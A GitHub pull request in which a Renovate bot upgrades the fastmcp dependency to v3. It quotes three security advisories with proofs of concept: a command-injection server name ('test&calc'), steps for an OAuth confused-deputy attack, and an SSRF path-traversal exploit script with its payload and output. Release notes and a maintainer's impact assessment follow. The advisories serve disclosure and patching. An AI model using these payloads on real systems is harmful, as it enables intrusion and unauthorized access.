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fix(deps): update dependency fastmcp to v3 [security]#326

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fix(deps): update dependency fastmcp to v3 [security]#326
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renovate/pypi-fastmcp-vulnerability

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@renovate renovate Bot commented Apr 1, 2026 •
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ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
fastmcp >=2.14.4, <2.14.6 → >=3.2.0, <3.2.1 age confidence

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FastMCP has a Command Injection vulnerability - Gemini CLI

CVE-2025-64340 / GHSA-m8x7-r2rg-vh5g

More information

Details

Server names containing shell metacharacters (e.g., &) can cause command injection on Windows when passed to fastmcp install claude-code or fastmcp install gemini-cli. These install paths use subprocess.run() with a list argument, but on Windows the target CLIs often resolve to .cmd wrappers that are executed through cmd.exe, which interprets metacharacters in the flattened command string.

PoC:

from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@&#8203;mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]
fastmcp install claude-code server.py   # or: fastmcp install gemini-cli server.py

On Windows, this opens Calculator via the &calc in the server name.

Impact:
Arbitrary command execution with the privileges of the user running fastmcp install. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a .cmd wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json).

Patched in #​3522 by validating server names to reject shell metacharacters.

Severity

  • CVSS Score: 6.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

FastMCP: Missing Consent Verification in OAuth Proxy Callback Facilitates Confused Deputy Vulnerabilities

CVE-2026-27124 / GHSA-rww4-4w9c-7733

More information

Details

Summary

While testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

Technical Details

An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the GitHubProvider OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the GitHubProvider, a review of the source code, specifically the OAuthProxy._handle_idp_callback function, shows that the IdP callback handler does not verify whether the browser sending the state and code has previously consented to connecting the client to the server. As long as a valid state and code pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new code and the corresponding state, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

Steps to reproduce
  1. Set up an MCP server using the GitHubProvider integration.
  2. Connect a benign MCP client to this MCP server.
  3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
  4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
  5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
  6. When the browser opens for the attacker’s client, enable interception in your proxy.
  7. In the browser, confirm the consent prompt.
  8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
  9. Copy the authorization URL and drop the intercepted request.
  10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
  11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the mitigations section for this vulnerability in the MCP specification.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability

CVE-2026-32871 / GHSA-vv7q-7jx5-f767

More information

Details

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f""
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))
Root Cause
  1. Path parameters are substituted directly without URL encoding
  2. urllib.parse.urljoin() interprets ../ as directory traversal
  3. No validation prevents traversal sequences in parameter values
  4. Requests inherit the authentication context of the MCP provider
Proof of Concept
Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@&#8203;app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@&#8203;app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)
Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())
Expected Output
[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment
Severity Justification
  • Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
  • Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
  • Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
  • Data Exfiltration: Sensitive internal APIs can be accessed and exploited
  • Lateral Movement: Internal-only services may be compromised from the network boundary
Attack Scenarios
  1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
  2. Data Theft: Access internal databases or sensitive information endpoints
  3. Service Disruption: Trigger destructive operations on backend services
  4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials
Remediation
Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f""
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Severity

  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

PrefectHQ/fastmcp (fastmcp)

v3.2.0: : Show Don't Tool

Compare Source

FastMCP 3.2 is the Apps release. The 3.0 architecture gave you providers and transforms; 3.1 shipped Code Mode for tool discovery. 3.2 puts a face on it: your tools can now return interactive UIs — charts, dashboards, forms, maps — rendered right inside the conversation.

FastMCPApp

FastMCPApp is a new provider class for building interactive applications inside MCP. It separates the tools the LLM sees (@app.ui()) from the backend tools the UI calls (@app.tool()), manages visibility automatically, and gives tool references stable identifiers that survive namespace transforms and server composition — without requiring host cooperation.

from fastmcp import FastMCP, FastMCPApp
from prefab_ui.actions.mcp import CallTool
from prefab_ui.components import Column, Form, Input, Button, ForEach, Text

app = FastMCPApp("Contacts")

@&#8203;app.tool()
def save_contact(name: str, email: str) -> list[dict]:
    db.append({"name": name, "email": email})
    return list(db)

@&#8203;app.ui()
def contact_manager() -> PrefabApp:
    with PrefabApp(state={"contacts": list(db)}) as view:
        with Column(gap=4):
            ForEach("contacts", lambda c: Text(c.name))
            with Form(on_submit=CallTool("save_contact")):
                Input(name="name", required=True)
                Input(name="email", required=True)
                Button("Save")
    return view

mcp = FastMCP("Server", providers=[app])

The UI is built with Prefab, a Python component library that compiles to interactive UIs. You write Python; the user sees charts, tables, forms, and dashboards. FastMCP handles the MCP Apps protocol machinery — renderer resources, CSP configuration, structured content serialization — so you don't have to.

For simpler cases where you just want to visualize data without server interaction, set app=True on any tool and return Prefab components directly:

@&#8203;mcp.tool(app=True)
def revenue_chart(year: int) -> PrefabApp:
    with PrefabApp() as app:
        BarChart(data=revenue_data, series=[ChartSeries(data_key="revenue")])
    return app

Built-in Providers

Five ready-made providers you add with a single add_provider() call:

  • FileUpload — drag-and-drop file upload with session-scoped storage
  • Approval — human-in-the-loop confirmation gates
  • Choice — clickable option selection
  • FormInput — generate validated forms from Pydantic models
  • GenerativeUI — the LLM writes Prefab code at runtime and the result streams to the user as it's generated

Dev Server

fastmcp dev apps launches a browser-based preview for your app tools — pick a tool, provide arguments, and see the rendered UI without connecting to an MCP host. Includes an MCP message inspector for debugging the protocol traffic.

Security

This release includes a significant security hardening pass: SSRF/path traversal prevention, JWT algorithm restrictions, OAuth scope enforcement, CSRF fixes, and more. See the changelog for the full list.

Everything Else

forward_resource flag on all OAuth providers for IdPs that don't support RFC 8707. Clerk auth provider. FileResource encoding parameter. SSL verify parameter. client_log_level setting. MCP conformance tests in CI. And contributions from 13 new contributors.

What's Changed

New Features 🎉
Breaking Changes ⚠️
Enhancements ✨
Security 🔒
Fixes 🐞
Docs 📚
Examples & Contrib 💡
Dependencies 📦

New Contributors

Full Changelog: PrefectHQ/fastmcp@v3.1.0...v3.2.0

v3.1.1: : 'Tis But a Patch

Compare Source

Pins pydantic-monty<0.0.8 to fix a breaking change in Monty that affects code mode. Monty 0.0.8 removed the external_functions constructor parameter, causing MontySandboxProvider to fail. This patch caps the version so existing installs work correctly.

What's Changed

Fixes 🐞

Full Changelog: PrefectHQ/fastmcp@v3.1.0...v3.1.1

v3.1.0: : Code to Joy

Compare Source

FastMCP 3.1 is the Code Mode release. The 3.0 architecture introduced providers and transforms as the extensibility layer — 3.1 puts that architecture to work, shipping the most requested capability since launch: servers that can find and execute code on behalf of agents, without requiring clients to know what tools exist.

Code Mode

Standard MCP has two scaling problems. The entire tool catalog loads into context upfront — with a large server, that's tens of thousands of tokens before the LLM reads a single word of the user's request. And every tool call is a round-trip: the LLM calls a tool, the result flows back through the context window, the LLM reasons about it, calls another tool, and so on. Intermediate results that only exist to feed the next step still burn tokens every time.

CodeMode is an experimental transform that solves both. Instead of seeing your tool catalog directly, the LLM gets meta-tools: it searches for relevant tools on demand (using BM25), inspects their schemas, then writes Python that chains call_tool() calls in a sandbox and returns a final answer. Discovery is staged and targeted; intermediate results never touch the model's context window.

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@renovate renovate Bot added the security label Apr 1, 2026
@renovate renovate Bot requested a review from a team as a code owner April 1, 2026 00:38
@renovate renovate Bot added the security label Apr 1, 2026
@owtaylor
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owtaylor commented Apr 4, 2026

Hmm, annoyingly FastMCP seems to have ceased maintaining the FastMCP branch, and CVE fixes are only available on the release branch.

Checked through the three CVE's here:

CVE-2025-64340 - does not affect us, only affects using fastmcp install on untrusted code.

CVE-2026-27124 - does not affect us currently. Will (theoretically, non-urgently) affect us once #322 is merged. Users configuring the GitHub (and Google?) auth proxy support that enables would be vulnerable.

CVE-2026-32871 Does not affect us - we don't use the OpenAPI support in FastMCP.

However, since FastMCP 2.x seems to now be unmaintained upstream, being pinned to < 3 is going to be painful for our consumers, like Fedora. We should upgrade to 3.x immediately post-Red Hat-summit.

@owtaylor owtaylor mentioned this pull request Apr 6, 2026
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@renovate renovate Bot force-pushed the renovate/pypi-fastmcp-vulnerability branch 4 times, most recently from 726e163 to 2724166 Compare April 10, 2026 14:41
@renovate renovate Bot changed the title fix(deps): update dependency fastmcp to v3 [security] fix(deps): update dependency fastmcp to v3 [security] - autoclosed Apr 14, 2026
@renovate renovate Bot closed this Apr 14, 2026
@renovate renovate Bot deleted the renovate/pypi-fastmcp-vulnerability branch April 14, 2026 14:36
@renovate renovate Bot changed the title fix(deps): update dependency fastmcp to v3 [security] - autoclosed fix(deps): update dependency fastmcp to v3 [security] Apr 14, 2026
@renovate renovate Bot reopened this Apr 14, 2026
@renovate renovate Bot force-pushed the renovate/pypi-fastmcp-vulnerability branch 2 times, most recently from 2724166 to 138ebd3 Compare April 14, 2026 15:42
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github-actions Bot commented Apr 14, 2026

For team members: test commit 2724166 in internal GitLab

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github-actions Bot commented Apr 14, 2026

For team members: test commit 138ebd3 in internal GitLab

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